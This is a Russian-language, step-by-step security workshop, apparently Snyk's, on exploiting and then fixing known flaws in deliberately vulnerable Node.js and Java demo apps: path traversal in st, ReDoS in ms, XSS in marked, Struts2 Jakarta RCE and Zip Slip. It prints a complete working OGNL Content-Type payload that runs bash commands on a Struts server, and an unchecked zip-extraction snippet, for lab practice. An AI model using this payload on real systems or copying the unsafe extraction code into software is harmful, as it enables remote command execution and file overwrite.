snyk-labs/exploit-workshopПошаговый воркшоп по эксплуатации различных уязвимостей в приложениях Node.js и Java
В этом пошаговом практикуме вы научитесь эксплуатировать различные реальные уязвимости, существующие в уязвимых версиях пакетов в приложениях на Node.js и Java.
Вы можете пройти этот практикум двумя разными способами
ИЛИ
Этот практикум проведет вас через установку и эксплуатацию ряда намеренно уязвимых приложений. Приложения будут использовать реальные пакеты с известными уязвимостями, включая:
Эти эксплойты существуют в ряде приложений, большинство из которых вам нужно будет установить локально или в облачном экземпляре. Инструкции ниже помогут вам выполнить локальную установку, но вы также можете опробовать их на удаленных облачных экземплярах.
Для каждого раздела об уязвимостях в этом практикуме вы получите информацию о самой уязвимости и о пакете, в котором она существует. Вам предлагается попытаться взломать приложение методом проб и ошибок, не читая сначала подсказок. Попробуйте подумать, как можно обмануть санитизацию приложения и войти в образ мыслей хакера. Подсказки существуют на случай, если вы застрянете, поэтому читайте их по порядку, когда понадобится помощь. Если вы сможете завершить взлом без подсказок, это отлично! Однако полезно прочитать подсказки и после, чтобы убедиться, что вы взломали так же, как и мы. К тому же в них могут быть небольшие советы, из которых тоже можно извлечь пользу.
В зависимости от вашего выбора, выберите соответствующую инструкцию по установке:
В вашем браузере перейдите по адресу http://localhost:3001, и вы должны увидеть следующую страницу.
Потратьте несколько минут на изучение сайта, в частности создайте несколько элементов списка дел, используя обычный текст «Купить молоко», а также используя Markdown: «Купить **много** молока». Также перейдите на скромную страницу «О нас», ссылка на которую находится внизу главной страницы. Насладитесь CSS-фу, использованным для создания этой страницы. Примечание: PR-ы, которые сделают эту страницу красивее, не будут приняты ;о)
Прежде всего, давайте посмотрим на это с «синей» (защитной) стороны. Сделайте форк приложения goof в свой аккаунт на GitHub. Приложение можно найти на GitHub здесь: https://github.com/snyk/goof. Нам нужно просканировать наше приложение, чтобы понять, какие прямые и транзитивные зависимости существуют в приложении, а также уязвимости в каждой библиотеке. Для этого перейдите на https://snyk.io и нажмите «Sign up» или «Log in» (если вы уже зарегистрированы) в правом верхнем углу сайта:
Нажмите кнопку «Log in with your GitHub»:
Затем импортируйте проект goof, который вы только что склонировали. Выберите goof из списка ваших репозиториев GitHub и нажмите кнопку «Import Projects» в правом верхнем углу окна.
Когда проект будет просканирован, вы увидите его на своей панели управления:
Нажмите на ссылку package.json, чтобы перейти на страницу проекта, которая содержит полный список уязвимостей безопасности:
Вы можете нажать на вкладки «Issues» и «Dependencies», чтобы увидеть больше информации об уязвимостях и способах их устранения, а также о том, где они привносятся вашим приложением. Вы заметите в нижней части списка уязвимостей уязвимость обхода каталогов в пакете st. Давайте рассмотрим её подробнее.
Атака с обходом каталогов (также известная как path traversal) направлена на доступ к файлам и каталогам, находящимся за пределами предполагаемой папки. Манипулируя файлами с помощью последовательностей «точка-точка-слеш» (../) и их вариаций или используя абсолютные пути к файлам, можно получить доступ к произвольным файлам и каталогам в файловой системе, включая исходный код приложения, конфигурацию и другие критически важные системные файлы.
Уязвимости Directory Traversal можно разделить на два типа:
Пакет в приложении goof, содержащий уязвимость обхода каталогов, которую мы будем эксплуатировать, это пакет st. Ознакомьтесь с документацией st и библиотекой.
Теперь вы знаете, что такое обход каталогов, что делает пакет st, и можете приступить к взлому приложения — вы снова в «красной» команде! Поищите в приложении, где может использоваться пакет st, и попробуйте выполнить обход к каталогу, к которому вам не должно быть разрешено обращаться.
Вот несколько подсказок, которые помогут вам, если вы застрянете — постарайтесь обращаться к ним только после того, как уже попробовали сами и нуждаетесь в помощи.
Нажмите, чтобы увидеть Подсказку 1.
Нажмите, чтобы увидеть Подсказку 2.
Нажмите, чтобы увидеть Подсказку 3.
Нажмите, чтобы увидеть Подсказку 4.
Нажмите, чтобы увидеть Подсказку 5.
Нажмите, чтобы увидеть Подсказку 6.
Нажмите, чтобы увидеть Подсказку 7.
Нажмите, чтобы увидеть Подсказку 8.
Нажмите, чтобы увидеть Подсказку 9.
Перемещайтесь по вашей файловой системе как злоумышленник, чтобы найти 3 фрагмента конфиденциальной информации на вашей машине, которые вы, вероятно, не хотели бы видеть у злоумышленника.
Нажмите, чтобы увидеть Подсказку 10.
Взгляните на описание уязвимости, включая оценку CVSS: https://snyk.io/vuln/npm:st:20140206. Как вы думаете, почему уязвимость имеет средний уровень серьезности, а не высокий?
Вернитесь на страницу проекта в Snyk, найдите уязвимость обхода каталогов в пакете st и посмотрите рекомендации по устранению. Вы увидите, что существует только один путь к этой уязвимости в приложении, и пакет st является прямой зависимостью, поэтому устранение не должно быть слишком сложным. Мы видим, что необходимо обновить версию пакета st до 0.2.5. Это можно сделать автоматически, нажав кнопку «Fix this vulnerability».
Вы увидите список ваших уязвимостей, и должна быть выбрана только уязвимость st. Прокрутите страницу вниз и нажмите «Open a fix PR»:
Посмотрите изменения кода в пул-реквесте на вкладке «Files Changed»:
Убедитесь, что ваши новые PR-тесты не создали новых проблем с безопасностью или лицензированием и прошли проверку. Их можно найти на вкладке «Conversation» в PR:
Когда вы будете удовлетворены PR, объедините изменения.
Если вы запускаете приложение локально, остановите его, нажав Ctrl+C в окне, где вы выполняли npm start. Получите последний код из GitHub, выполнив git fetch. Загрузите новую версию st, выполнив npm install, а затем снова запустите приложение с помощью npm start.
Попробуйте свои взломы снова. Поздравляем! Вы устранили уязвимость, и теперь при каждой попытке выйти за пределы папки public вы будете перенаправляться на главную страницу.
Взгляните на описание уязвимости ReDoS в вашем сканировании Snyk:
Эта уязвимость в пакете ms будет той, которую мы взломаем в приложении goof. Используйте следующую команду, чтобы добавить элемент списка дел, содержащий строковое представление времени:``` $ echo 'content=Call mom in 20 minutes' | http --form http://localhost:3001/create -v
Библиотека `ms` обнаружила в вашей входной строке шаблон времени. На странице goof это отображается несколько иначе.
Используя свои знания о том, как работает ReDoS, попробуйте передать строку содержимого, которая вызывает заметную задержку или отказ в обслуживании для других пользователей. Обратите внимание: пока обрабатывается запрос, веб-страница будет буферизировать все ваши последующие запросы до тех пор, пока первый запрос не будет обработан.
Нажмите, чтобы увидеть [Подсказку 1](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/ms/hint1.md).
Нажмите, чтобы увидеть [Подсказку 2](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/ms/hint2.md).
Нажмите, чтобы увидеть [Подсказку 3](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/ms/hint3.md).
Нажмите, чтобы увидеть [Подсказку 4](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/ms/hint4.md).
Нажмите, чтобы увидеть [Подсказку 5](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/ms/hint5.md).
Подумайте, как можно программно избежать этой атаки в вашем коде приложения?
### Устранить уязвимость
Вернитесь на страницу проекта Snyk, найдите уязвимость типа «отказ в обслуживании через регулярные выражения» в пакете `ms` и посмотрите рекомендации по устранению. Вы увидите, что есть только один путь к этой уязвимости в приложении, и пакет `ms` является косвенной зависимостью, подтягиваемой пакетом `humanize-ms`. Мы видим, что необходимо обновить версию пакета `humanize-ms` до `1.0.2`. Это подтянет `ms` в исправленной версии. Снова нажмите «Исправить эту уязвимость» и создайте PR.
После обновления приложения попробуйте свои атаки снова. *Поздравляем!*, вы устранили уязвимость!
## Межсайтовый скриптинг (XSS)
XSS-атаки происходят, когда злоумышленник заставляет браузер жертвы выполнить вредоносный JavaScript-код в контексте домена жертвы. Такие скрипты могут украсть сессионные cookie для этого домена, прочитать или изменить его содержимое, а также выполнять или изменять действия от имени пользователя, которые обычно блокируются политикой Same Origin Policy браузера.
Эти атаки возможны, если выйти за пределы контекста веб-приложения и внедрить вредоносные скрипты на доверенный сайт. Такие скрипты могут добавлять дополнительные атрибуты (например, «новый» пункт в выпадающем списке или новую ссылку на вредоносный сайт) и потенциально выполнять код на стороне клиента без ведома жертвы. Это происходит, когда символы типа ````< > " '```` экранируются неправильно.
Существует несколько типов XSS:
* *Постоянный (Persistent) XSS* — атака, при которой вредоносный код сохраняется в базе данных веб-приложения.
* *Отражённый (Reflected) XSS* — атака, при которой сайт «отражает» часть запроса обратно. Злоумышленнику нужно обманом заставить пользователя перейти по вредоносной ссылке (например, через фишинговое письмо или вредоносный JS на другой странице), что запускает XSS-атаку.
* *DOM-ориентированный (DOM-based) XSS* — атака, которая происходит исключительно в браузере, когда клиентский JavaScript «отражает» часть URL обратно на страницу. DOM-ориентированный XSS известен своей сложностью обнаружения, так как сервер никогда не узнаёт об атаке.
Уязвимость существует в библиотеке `marked`. Эта библиотека позволяет вводить текст в формате Markdown в поле ввода задач и отображать результат жирным шрифтом или в любом другом желаемом виде. Теперь, когда вы уже более чем знакомы с этим сложным многостраничным приложением, помните, какой пакет уязвим.
Для начала попробуем отобразить предупреждение «1». Очень клишированно, правда?
Нажмите, чтобы увидеть [Подсказку 1](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint1.md).
Нажмите, чтобы увидеть [Подсказку 2](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint2.md).
Нажмите, чтобы увидеть [Подсказку 3](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint3.md).
Нажмите, чтобы увидеть [Подсказку 4](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint4.md).
Нажмите, чтобы увидеть [Подсказку 5](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint5.md).
Нажмите, чтобы увидеть [Подсказку 6](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint6.md).
Нажмите, чтобы увидеть [Подсказку 7](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint7.md).
Нажмите, чтобы увидеть [Подсказку 8](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint8.md).
После того, как вы сможете выполнить JavaScript, создающий предупреждение, как показано ниже, вы можете попробовать что-то похитрее, чтобы, возможно, получить конфиденциальную информацию!
### Устранить уязвимость
Вернитесь на страницу проекта Snyk, найдите XSS-уязвимость в пакете `marked` и посмотрите рекомендации по устранению. Вы увидите, что есть только один путь к этой уязвимости в приложении, и пакет `marked` является прямой зависимостью. Мы видим, что необходимо обновить пакет `marked` до версии `0.3.9`. Снова нажмите «Исправить эту уязвимость» и создайте PR.
После обновления приложения попробуйте свои атаки снова. Поздравляем, вы устранили XSS-уязвимость, и теперь внедрить JavaScript на веб-страницу не должно получиться.
# Установка Java Goof
В зависимости от вашего предыдущего выбора выберите подходящую инструкцию по установке:
* с помощью [Docker-образов](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/install/javagoof_docker.md)
* установка на [локальную машину](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/install/javagoof_local.md)
Откройте в браузере следующий URL: [http://localhost:8080/](http://localhost:8080/)
Вы увидите это приложение. Оно выглядит лучше, чем Node-приложение. Потому что Java лучше Node. Факт.
Нажмите «Sign In» и используйте следующие учётные данные:```
Username: [email protected]
Password: foobar
Когда вы вошли в систему, вы увидите несколько записей задач. Если вы нажмете на ссылку в верхней части экрана, вы увидите, что приложение использует Spring, Hibernate и Apache Struts. Это очень любезно со стороны приложения — предоставить нам эти данные! Веб-сайты обычно не бывают такими любезными :)
Теперь мы снова в синей (защитной) команде. Нам нужно просканировать наше приложение, чтобы понять прямые и косвенные зависимости, существующие в приложении, а также уязвимости в каждой библиотеке. Форкните Java Goof в свой собственный аккаунт GitHub. Приложение можно найти на GitHub здесь: https://github.com/snyk/java-goof
Если у вас уже есть учетная запись Snyk с предыдущей части воркшопа, вам просто нужно добавить репозиторий Java Goof в панель управления Snyk. Если вы этого еще не сделали, создайте учетную запись следующим образом:
Перейдите на https://snyk.io, если вы еще этого не сделали, нажмите «Войти» или «Зарегистрироваться» в правом верхнем углу сайта.
Нажмите кнопку «Войти через GitHub»:
Импортируйте проект goof, который вы только что клонировали ранее. Нажмите на ссылку «Интеграции», показанную ниже:
Отсюда выберите интеграцию GitHub и выберите java-goof из списка ваших репозиториев GitHub, затем нажмите кнопку «Добавить выбранные репозитории» в правом верхнем углу окна.
Когда проект будет просканирован, вы увидите его в своей панели управления:
Нажмите на ссылку todolist-web-struts/pom.xml, чтобы увидеть полный список уязвимостей безопасности для этой части проекта:
Уязвимость существует в пакете org.apache.struts:struts2-core.
Уязвимые версии пакета подвержены произвольному выполнению команд при загрузке файлов с помощью парсера Jakarta Multipart. Эта конкретная уязвимость может быть использована злоумышленником путем отправки специально сформированного запроса на загрузку файла на уязвимый сервер, который использует плагин на основе Jakarta для обработки запроса на загрузку.
Затем злоумышленник может отправить вредоносный код в HTTP-заголовках Content-Type, Content-Disposition или Content-Length, который будет выполнен уязвимым сервером. Доказательство концепции, демонстрирующее сценарий атаки, находится в открытом доступе, и уязвимость активно эксплуатируется в реальных условиях.
Хотя разработчики открытого проекта немедленно исправили уязвимость, серверы Struts, которые еще не установили обновление, продолжают подвергаться атакам хакеров, использующих эту уязвимость для внедрения произвольных команд.
Эта атака может быть выполнена без аутентификации. Что еще хуже, веб-приложениям не обязательно успешно загружать вредоносный файл для использования этой уязвимости; достаточно лишь наличия уязвимой библиотеки Struts в приложении.
Вот пример заголовка, который может использовать уязвимость. Обратите внимание, что тип содержимого начинается с %{.```
"Content-type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='COMMAND').(#cmds={'/bin/bash','-c',#cmd}).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
Вы заметите, что создается ```ProcessBuilder```, и в результате будет выполнена bash-команда.
Взломайте приложение, отправив HTTP GET-запрос к приложению с этим заголовком в запросе.
Нажмите, чтобы увидеть [Hint 1](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/struts/hint1.md).
Нажмите, чтобы увидеть [Hint 2](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/struts/hint2.md).
К этому моменту вы должны были выполнить удаленную команду, например, команду env для получения переменных окружения вашей машины:
На этом этапе у вас есть права на выполнение на машине через curl к URL. Продолжайте выполнять другие команды, чтобы узнать больше о машине, а также запускать на ней команды.
# Zip Slip
Создайте новый проект Maven в вашей любимой IDE. Я не буду вас судить. Добавьте новую зависимость в файл ```pom.xml```.```xml
<dependency>
<groupId>org.zeroturnaround</groupId>
<artifactId>zt-zip</artifactId>
<version>1.12</version>
<type>jar</type>
</dependency>
В этом репозитории вы найдёте архив zip-slip.zip. Скачайте его и выполните следующую команду над архивом, чтобы увидеть вывод. Думаю, вы поймёте, как работает эта уязвимость, когда увидите результат.``` $ jar -tvf zip-slip.zip
## Уязвимость Zip Slip
Zip Slip — это форма обхода каталогов, которая может быть использована при извлечении файлов из архива. Суть уязвимости обхода каталогов заключается в том, что злоумышленник может получить доступ к частям файловой системы за пределами целевой папки, в которой файлы должны находиться. Затем злоумышленник может перезаписать исполняемые файлы и либо вызвать их удаленно, либо дождаться, пока система или пользователь их вызовет, тем самым добившись удаленного выполнения команд на машине жертвы. Уязвимость также может нанести вред, перезаписывая конфигурационные файлы или другие важные ресурсы, и может быть использована как на клиентских (пользовательских) машинах, так и на серверах.
Для эксплуатации этой уязвимости необходимы две части: вредоносный архив и код извлечения, который не выполняет проверку. Давайте рассмотрим каждую из них по порядку. Прежде всего, содержимое zip-файла должно содержать один или несколько файлов, которые выходят за пределы целевого каталога при извлечении. В примере ```zip-slip.zip``` мы видим два файла: good.txt, который будет извлечен в целевой каталог, и evil.txt, который пытается подняться по дереву каталогов в каталог tmp. Вы заметите много уровней ```../```, чтобы файл имел больше шансов достичь корневого каталога, прежде чем пытаться перейти в каталог ```/tmp``` от корня.
Используйте программу распаковки ```zt-zip```, находящуюся в ```ZipUtil```, чтобы извлечь файл и обратите внимание, где на вашей файловой системе появятся ```good.txt``` и ```evil.txt```.
Нажмите, чтобы увидеть [Подсказку 1](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/zipslip/hint1.md).
Нажмите, чтобы увидеть [Подсказку 2](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/zipslip/hint2.md).
После того как вы распаковали evil.txt в свой каталог tmp, взгляните на информацию об уязвимости ([https://snyk.io/vuln/SNYK-JAVA-ORGZEROTURNAROUND-31681](https://snyk.io/vuln/SNYK-JAVA-ORGZEROTURNAROUND-31681)).
### Устраните уязвимость!
Нажмите, чтобы увидеть [Подсказку 3](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/zipslip/hint3.md).
Нажмите, чтобы увидеть [Подсказку 4](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/zipslip/hint4.md).
Теперь, когда вы устранили уязвимость в вашей зависимости ```zt-zip```, давайте рассмотрим код, который можно использовать для этого в Java. Обратите внимание, что в этом примере мы использовали библиотеку Apache Commons IO для выполнения копирования файла в строке 8.```java
1. final String destinationDir = /* <your destination dir> */;
2. ZipFile zip = new ZipFile(/* <your zip file> */);
3. Enumeration<ZipEntry> entries = (Enumeration<ZipEntry>) zip.entries();
4. while (entries.hasMoreElements()) {
5. ZipEntry e = entries.nextElement();
6. File f = new File(destinationDir, e.getName());
7. InputStream input = zip.getInputStream(e);
8. FileUtils.copyToFile(input, f);
9. }
Давайте заменим предыдущий вызов ZipUtil.unpack этим кодом. Удалите файлы good.txt и evil.txt из вашей файловой системы и запустите приложение снова. Вы заметите, что файл evil.txt снова оказывается в каталоге /tmp.
Определите, какие строки кода выше являются виновниками, и исправьте их!
Нажмите, чтобы увидеть Подсказку 5.
Нажмите, чтобы увидеть Подсказку 6.
Нажмите, чтобы увидеть Подсказку 7.
Нажмите, чтобы увидеть Подсказку 8.
Нажмите, чтобы увидеть Подсказку 9.
После того как вы реализуете защитное решение, посмотрите наш финальный пример кода в Подсказке 9, чтобы сравнить его с вашей версией. Вы включили завершающий разделитель пути в строке 9? Это гарантирует, что каталог не просто начинается с выбранного имени каталога, а является именно тем каталогом, в который мы извлекаем файлы.
Спасибо за участие в этом практикуме. Если вы заметили опечатки или хотите предложить дополнительные подсказки, отправьте нам PR!